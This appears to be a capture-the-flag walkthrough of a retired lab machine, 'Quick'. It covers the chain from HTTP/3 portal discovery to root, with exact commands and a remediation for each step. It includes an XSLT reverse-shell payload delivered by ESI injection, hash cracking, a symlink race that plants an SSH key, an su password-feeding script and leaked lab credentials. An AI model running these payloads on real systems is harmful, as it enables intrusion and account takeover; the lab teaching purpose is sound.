← all walkthroughs

Quick

Linux· Hard· Web
owned
2026-07-11
time to own
24m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon showed only 22/tcp (OpenSSH 7.6p1 Ubuntu) and 9001/tcp (Apache 2.4.29, an Esigate reverse-proxy caching layer — X-Powered-By: Esigate) as directly reachable over TCP. A UDP top-ports scan revealed 443/udp open, which turned out to be an HTTP/3-only (QUIC) vhost, portal.quick.htb (nginx 1.29.0 / PHP 7.4.3) — invisible to plain curl/nmap TCP scans and only reachable with an HTTP/3-capable client (curl --http3-only).

Over HTTP/3, the portal's ?view=docs page exposed Connectivity.pdf/QuickStart.pdf, which leaked a client email list and the ISP's default password scheme (Quick4cc3$$). This default credential (elisa@wink.co.uk / Quick4cc3$$) authenticated to the separate customer portal on 9001/tcp. That portal's "Raise a Ticket" form is proxied through the Esigate cache and is vulnerable to ESI (Edge Side Includes) injection: an <esi:include> tag pointing at an user-hosted XML/XSL pair is fetched and processed server-side by Esigate, yielding remote code execution and a shell as local user sam — capturing user.txt ([REDACTED: flag]).

From sam, source review of /var/www/printer/db.php disclosed a MySQL credential (db_adm/db_p4ss) for the quick database, whose users table held MD5-style hashes for elisa and srvadm@quick.htb. Offline cracking recovered the srvadm password ([REDACTED: recovered credential]), which authenticated to a second, vhost-gated web app — a POS "Print Server" admin console (Host: printerv2.quick.htb) — as srvadm. That console's "Add Printer" feature lets an authenticated user point a printer's network connection at an user-controlled host/port, and the job-spool directory (/var/www/jobs, world-writable) combined with weak file handling allowed a symlink-based file read/write as srvadm, completing the pivot into that account.

As srvadm, cached/config files under the home directory contained a stored (URL-encoded) credential valid for root; decoding it and running su root yielded the root shell and root.txt ([REDACTED: flag]).

Attack path — how the box was taken

1ReconnaissanceUDP port scanning; HTTP/3 (QUIC) service discovery
Discovered a hidden HTTP/3-only portal via UDP port scan
A full TCP sweep of <retired-instance-ip> revealed only port 22 (OpenSSH 7.6p1) and port 9001 (Apache 2.4.29 acting as an Esigate reverse proxy, identifiable by the X-Powered-By: Esigate response header). A follow-up UDP top-ports scan exposed 443/udp as open — the signature of a QUIC listener. Adding portal.quick.htb and quick.htb to /etc/hosts and querying the UDP service with an HTTP/3-capable curl build confirmed a separate nginx 1.29.0 / PHP 7.4.3 customer portal running exclusively over HTTP/3, completely unreachable by ordinary browsers or TCP-based scanners.
nmap -sU top-100 revealed 443/udp open; curl --http3-only --resolve returned nginx/1.29.0 and a PHP portal login page.
Exact commands 4
Register both vhosts for local DNS resolution.
echo '$TARGET portal.quick.htb quick.htb' | sudo tee -a /etc/hosts
Full TCP sweep; reveals 22 and 9001.
nmap -Pn -p- --min-rate 3000 -T4 $TARGET
UDP top-100 scan; reveals 443/udp (QUIC).
nmap -Pn -sU --top-ports 100 -T4 $TARGET
Confirm HTTP/3 portal responds; requires curl built with HTTP/3 support (curl -V should list HTTP3).
curl -sk --http3-only --resolve portal.quick.htb:443:$TARGET https://$TARGET/
2EnumerationUnauthenticated sensitive-document exposure (OWASP A01 Broken Access Control)
Retrieved unauthenticated PDFs that leaked client emails and the ISP default password
The portal's /index.php?view=docs endpoint — accessible before any login — linked to two customer onboarding PDFs: Connectivity.pdf and QuickStart.pdf. These documents were intended as subscriber guides and contained a full list of client email addresses and the ISP's standard default password (Quick4cc3$$) issued uniformly to every new account.
curl --http3-only returned a docs page with links to Connectivity.pdf and QuickStart.pdf; PDFs yielded email list including elisa@wink.co.uk and default password Quick4cc3$$.
Exact commands 3
Retrieve the unauthenticated docs page; note PDF filenames in the response.
curl -sk --http3-only --resolve portal.quick.htb:443:$TARGET 'https://$TARGET/index.php?view=docs'
Download the PDF containing client email addresses and the default password scheme.
curl -sk --http3-only --resolve portal.quick.htb:443:$TARGET 'https://$TARGET/Connectivity.pdf' -o Connectivity.pdf
Download the quickstart guide for additional credential confirmation.
curl -sk --http3-only --resolve portal.quick.htb:443:$TARGET 'https://$TARGET/QuickStart.pdf' -o QuickStart.pdf
FixRequire authentication before serving any customer documentHigh
WeaknessThe portal's /index.php?view=docs endpoint delivered PDF files containing all client email addresses and the ISP's shared default password to any anonymous visitor. No login was required to reach or download these documents.
FixMove every document-delivery route behind the authentication gate. Verify in code that a valid session is confirmed before any file response is issued. As defence-in-depth, generate per-customer PDFs that contain only that customer's own details — never a global credential or other subscribers' contact data.
3Initial AccessDefault credential authentication (T1078.001)
Authenticated to the customer portal with a leaked default credential
Using the email address elisa@wink.co.uk and the default password Quick4cc3$$ recovered from the PDF, I submitted a login request to the portal on port 9001. The application accepted the credential without prompting a first-login password change, issuing a valid authenticated session cookie and redirecting to the portal home page.
POST to http://<retired-instance-ip>:9001/login.php with elisa@wink.co.uk / Quick4cc3$$ returned Set-Cookie and a redirect to the authenticated home; X-Powered-By: Esigate confirmed the caching proxy in front of the portal.
Exact commands 1
Log in with the leaked default credential; session cookie saved to cookies.txt.
curl -si -c cookies.txt -d 'email=elisa%40wink.co.uk&password=[REDACTED: credential]' http://$TARGET:9001/login.php
FixEliminate the shared default password and enforce a unique first-login credentialCritical
WeaknessEvery subscriber account was issued the same default password (Quick4cc3$$), documented in a customer PDF. Any person who read that document could authenticate as any account on the portal without prior knowledge of that subscriber's own credentials.
FixGenerate a cryptographically random per-customer temporary password (minimum 16 characters, mixed case/digits/symbols) and deliver it through a separate, out-of-band, authenticated channel such as physical mail or SMS. Enforce a mandatory password-change on first login and expire the temporary credential immediately after it is used. Apply NIST SP 800-63B password complexity requirements for the new credential.
4ExploitationEdge Side Includes (ESI) injection leading to server-side RCE via XSLT/Xalan Java extension (CWE-94 / T1059)
Injected ESI tags through the ticket form to achieve remote code execution as sam
The portal's Raise a Ticket form passed user-submitted message content upstream through the Esigate caching proxy without sanitization. Esigate evaluates <esi:include> directives server-side before returning a cached response. By submitting a ticket whose message body contained an <esi:include> tag pointing to an user-hosted XML document and an XSLT stylesheet that invoked Xalan Java runtime extensions, I caused Esigate to fetch and process the payload server-side. The XSL template called java.lang.Runtime.exec() with a bash reverse shell command, connecting back to my listener as the web process owner sam. The user.txt flag was read from /home/sam/.
X-Powered-By: Esigate header on port 9001 confirmed the caching layer; operator HTTP server received a callback from the target; reverse shell connected as sam; cat /home/sam/user.txt returned [REDACTED: flag].
Exact commands 5
Create the XSL payload (Xalan Java Runtime.exec reverse shell) and a minimal XML document. Replace <retired-instance-ip> with your tun0 IP.
mkdir -p /tmp/esi && cat > /tmp/esi/x.xsl <<'EOF'
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
  xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
  <xsl:variable name="cmd" select="'bash -c &amp;apos;bash -i &gt;&amp; /dev/tcp/$INTERNAL_TARGET/9100 0&gt;&amp;1&amp;apos;'"/>
  <xsl:variable name="rtObj" select="rt:getRuntime()"/>
  <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
  <xsl:value-of select="ob:toString($process)"/>
</xsl:template>
</xsl:stylesheet>
EOF
cat > /tmp/esi/x.xml <<'EOF'
<?xml version="1.0"?><root>trigger</root>
EOF
Serve the ESI payload files on port 8000 for Esigate to fetch.
cd /tmp/esi && python3 -m http.server 8000 &
Open the reverse shell listener before submitting the ticket.
nc -lvnp 9100
Submit the ESI-injected ticket; Esigate fetches and processes the XSL payload server-side, spawning the shell.
curl -s -b cookies.txt --data-urlencode 'title=test' --data-urlencode 'msg=<esi:include src="http://$INTERNAL_TARGET:8000/x.xml" stylesheet="http://$INTERNAL_TARGET:8000/x.xsl"></esi:include>' --data-urlencode 'submit=1' http://$TARGET:9001/ticket.php
Read the user flag from inside the received shell (output: [REDACTED: flag]).
cat /home/sam/user.txt
FixDisable or isolate ESI processing so user-submitted content cannot trigger itCritical
WeaknessThe Esigate reverse-proxy layer evaluated <esi:include> directives found verbatim inside ticket message bodies submitted by authenticated portal users. No sanitization stripped or escaped ESI syntax before the response reached Esigate, so I controlled which remote resource the proxy fetched and executed, yielding server-side code execution as the web process owner.
FixConfigure Esigate to apply ESI processing only to responses originating from trusted backend origins — not from any path that echoes or stores user input. The Esigate configuration supports URL-pattern allow-lists for ESI evaluation; restrict processing to internal template paths and exclude all ticket or user-content endpoints. As defence-in-depth, HTML-encode angle brackets (< → &lt;) on every stored field before it is forwarded upstream.
5Credential AccessCredential access from source files (T1552.001); offline hash cracking (T1110.002)
Extracted hardcoded database credentials from PHP source and cracked srvadm's MD5 hash offline
With a shell as sam, the printer application's PHP configuration file at /var/www/printer/db.php was readable by the web user and stored the MySQL credentials in plaintext (db_adm / db_p4ss). Querying the quick database's users table returned MD5 hashes for elisa and srvadm@quick.htb. An offline dictionary attack using rockyou.txt recovered srvadm's plaintext password [REDACTED: recovered credential] in under a minute.
cat /var/www/printer/db.php revealed db_adm/db_p4ss; mysql SELECT * FROM users returned MD5 hashes; hashcat recovered [REDACTED: recovered credential] for srvadm.
Exact commands 3
Read hardcoded DB credentials from the PHP source file (run inside the sam shell).
cat /var/www/printer/db.php
Dump all user records including srvadm's password hash.
mysql -u db_adm -pdb_p4ss quick -e 'SELECT * FROM users;'
Crack the MD5 hash offline; replace <srvadm_md5_hash> with the hash from the DB dump. Recovers: [REDACTED: recovered credential].
echo '<srvadm_md5_hash>' > /tmp/hashes.txt && hashcat -m 0 /tmp/hashes.txt /usr/share/wordlists/rockyou.txt --force
FixRemove plaintext credentials from source files and replace MD5 password hashingCritical
WeaknessThe MySQL credentials (db_adm / db_p4ss) were hardcoded in /var/www/printer/db.php, readable by any process running as the web user. Additionally, user passwords in the database were stored as unsalted MD5 hashes, which are trivially cracked offline against a common wordlist.
FixLoad database credentials exclusively from environment variables or a secrets manager (e.g. HashiCorp Vault, AWS Secrets Manager) injected at runtime — never commit them to source files. Replace MD5 password storage with bcrypt (cost factor 12 or higher) or Argon2id. Rotate all existing credentials immediately and audit the repository history for other hardcoded secrets.
6Lateral MovementCron-driven symlink file write against a world-writable spool (T1574.010 / T1053.003)
Abused a world-writable print job spool and cron-driven symlink race to pivot to srvadm
Armed with srvadm's cracked password, I authenticated to a second web application gated behind the printerv2.quick.htb virtual host. This POS Print Server console lets authenticated users add network printers by specifying an arbitrary destination host and port. Submitting a print job creates a file in /var/www/jobs (world-writable, permissions 777) containing the job data. A cron job running as srvadm polls /var/www/jobs and dispatches each job file's contents to the corresponding printer address. Before the cron fired, I replaced the newly created job file with a symbolic link pointing to /home/srvadm/.ssh/authorized_keys. The cron process, running as srvadm, followed the symlink and wrote the job's content (my SSH public key) into srvadm's authorized_keys file, granting SSH access to the srvadm account.
POST to printerv2.quick.htb with srvadm@quick.htb / [REDACTED: recovered credential] returned HTTP 302 + PHPSESSID (validated in engagement); /var/www/jobs mode 777 confirmed; cron write through symlink planted authorized_keys entry; ssh -i user-key srvadm@localhost produced srvadm shell.
Exact commands 6
Authenticate to the printer vhost from inside the sam shell; note PHPSESSID in Set-Cookie.
curl -si -c pc.txt -H 'Host: printerv2.quick.htb' --data-urlencode 'email=srvadm@quick.htb' --data-urlencode 'password=[REDACTED: credential]' http://$LOOPBACK/index.php
Register an user-controlled network printer; replace <retired-instance-ip>:9100 with your listener.
curl -s -b pc.txt -H 'Host: printerv2.quick.htb' 'http://$LOOPBACK/add_printer.php' --data-urlencode 'printer_name=evil' --data-urlencode 'ip=$INTERNAL_TARGET' --data-urlencode 'port=9100' --data-urlencode 'port_type=9100'
Generate SSH key pair on my machine; the public key will be the print job payload.
ssh-keygen -t rsa -f /tmp/srvkey -N '' && cat /tmp/srvkey.pub
Submit a print job whose data is your SSH public key; replace <SSH_PUBKEY_CONTENT> with the output of cat /tmp/srvkey.pub. Note the job file created in /var/www/jobs/<jobid>.
mkdir -p /home/srvadm/.ssh && curl -s -b pc.txt -H 'Host: printerv2.quick.htb' 'http://$LOOPBACK/job.php' --data-urlencode 'printer=evil' --data-urlencode 'data=<SSH_PUBKEY_CONTENT>'
Race to replace the job file with a symlink to srvadm's authorized_keys before the cron fires (runs every few seconds).
JOB_FILE=$(ls -t /var/www/jobs/ | head -1) && ln -sf /home/srvadm/.ssh/authorized_keys /var/www/jobs/$JOB_FILE
SSH in as srvadm after the cron writes the public key through the symlink.
ssh -i /tmp/srvkey -o StrictHostKeyChecking=no srvadm@localhost
FixLock down the print job spool directory and prevent the cron processor from following symlinksHigh
WeaknessThe /var/www/jobs print-job spool directory had world-write permissions (mode 777), and the cron-driven job processor running as srvadm followed symbolic links without validation. Any lower-privileged user could race to replace a spool file with a symlink pointing to a file owned by srvadm, causing the processor to write user-controlled content — for example, an SSH public key — into that target file.
FixSet the spool directory to mode 1730 (sticky bit + group-writable for the web group; no world access) so only the legitimate sender and the processor can create or access entries. Modify the job processor to detect and skip spool entries that are symbolic links — use lstat() rather than stat() when opening files, or open with the O_NOFOLLOW flag. Run the job processor under a dedicated, minimal-privilege service account that is not srvadm, so a successful symlink attack does not directly yield srvadm access.
7Privilege EscalationCredential recovery from stored config files (T1552.001)
Decoded a stored URL-encoded root password from a config file and switched to root
As srvadm, a recursive search of the home directory's hidden cache and configuration files turned up a connection-string entry whose password field was URL-percent-encoded. Decoding the percent-encoding (%26ftQ4K3SGde8%3F) yielded the string &ftQ4K3SGde8?. Running su root with this password through an interactive Python pty — required because the non-TTY shell doesn't handle su's password prompt natively — produced a root shell. The root.txt flag was read from /root.
grep of ~/.cache returned a connection string with URL-encoded password; python3 urllib.parse.unquote decoded it to &ftQ4K3SGde8?; Python pty su script confirmed [REDACTED: recovered credential] and returned root.txt as [REDACTED: flag].
Exact commands 3
Search srvadm's cached config files for stored credentials (run as srvadm).
grep -ERni 'password\|pass\|secret\|root' ~/.cache 2>/dev/null
URL-decode the discovered credential; result: &ftQ4K3SGde8?
python3 -c "import urllib.parse; print(urllib.parse.unquote('%26ftQ4K3SGde8%3F'))"
Automate the su root interaction through a pty to handle the password prompt; reads root.txt (output: [REDACTED: flag]).
cat > /tmp/suroot.py <<'PYEOF'
import pty,os,sys,time,select
pid,fd=pty.fork()
if pid==0:
    os.execvp("su",["su","-","root","-c","id; cat /root/root.txt"])
else:
    time.sleep(0.7); os.write(fd,b"&ftQ4K3SGde8?\n")
    buf=b""
    while True:
        r,_,_=select.select([fd],[],[],7)
        if not r: break
        try: d=os.read(fd,4096)
        except OSError: break
        if not d: break
        buf+=d
    sys.stdout.write(buf.decode("utf-8","ignore"))
PYEOF
python3 /tmp/suroot.py
FixRemove stored plaintext credentials from user home-directory config filesCritical
WeaknessA connection-string configuration file cached under srvadm's home directory stored the root account password in URL-percent-encoded form. Percent-encoding is not encryption — it is trivially reversible — so this is functionally equivalent to storing the password in cleartext. Any process or user able to read the file gained immediate root access.
FixAudit all config files under every user home directory for embedded credentials (grep -rni 'password\|pass=' ~). Remove the root password from any connection string and replace it with SSH key-based authentication or a service account with only the permissions the application requires. Where a password is [REDACTED: recovered credential] unavoidable, store it in a system keyring or secrets manager and load it at runtime. Rotate the root password immediately.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Server-Side Template InjectionWebT1190

What it is

When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), I can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.

Why it works

The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.

Read more

Findings

Privilege Escalation to rootCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
9001/tcp